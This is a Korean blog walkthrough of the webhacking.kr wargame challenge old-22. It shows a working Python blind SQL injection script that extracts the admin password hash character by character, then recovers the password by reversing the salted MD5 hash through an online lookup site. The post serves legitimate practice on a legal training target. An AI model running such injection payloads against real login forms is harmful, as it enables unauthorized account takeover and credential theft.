old-22 풀이

2024. 3. 3. 16:45webhacking.kr

728x90

메인 페이지

admin으로 로그인을 해야 풀리는 문제입니다

컬럼 이름을 친절하게 알려주고 있는 걸 보니, SQL Injection 문제인 듯합니다

페이지 코드를 살펴봤는데 별다른 힌트는 없었습니다

Blind SQL Injection 문제일 것이라 예상하고, 우선 가입부터 해주겠습니다

 

asdfasdf / asdfasd로 가입 후 로그인

로그인을 하니 password hash라는 것이 나옵니다

형태를 보니 md5처럼 생겼는데, 복호화해서 무슨 내용인지 확인해 보겠습니다

복호화는 아래 사이트에서 진행했습니다

(다른 사이트에서 하니까 값이 안 나오더라고요....)

https://hashes.com/en/decrypt/hash

 

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked

hashes.com

 

복호화 결과 ->  asdfasdfapple

복호화를 해보니, 제가 가입한 계정명 뒤에 apple이 붙어있는 걸 확인할 수 있었습니다

그러면 32자리 해시값을 구해서 복호화를 한 뒤, apple 앞에 붙은 글자만 따와서 비밀번호로 쓰면 될 것 같습니다

 

SQL Injection 구문 삽입
참 거짓 확인 가능

바로 Blind SQL Injection 코드 짜고, 실행해 보겠습니다

 

import requests

url = 'https://webhacking.kr/challenge/bonus-2/'
true_string = 'Wrong password!'
L = 32
pw = ''

def query(payload):
    data = {'uuid': payload}
    cookies = {'PHPSESSID': 'hvaie55rjafvi5g21kalhtk3q3'}
    r = requests.post(url, data=data, cookies=cookies)
    content = r.text
    return true_string in content

for pos in range(1, L + 1):
    for character in range(0, 128):
        if query("admin' and ord(substr(pw,{},1))={}#".format(pos, character)) is True:
            pw += chr(character)
            break
print('pw: {}'.format(pw))

코드 실행 결과

정상적으로 hash 값이 나온 것 같습니다

이제 이 값을 아까 사용했던 사이트에 넣어주겠습니다

 

복호화 결과

wowapple이 결과로 나왔으니, admin 계정의 비밀번호는 wow겠네요

바로 로그인해줍니다

 

문제 풀이 성공

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-53 풀이  (0) 2024.03.04
old-08 풀이  (0) 2024.03.04
old-56 풀이  (0) 2024.03.02
old-51 풀이  (0) 2024.02.28
old-07 풀이  (0) 2024.02.26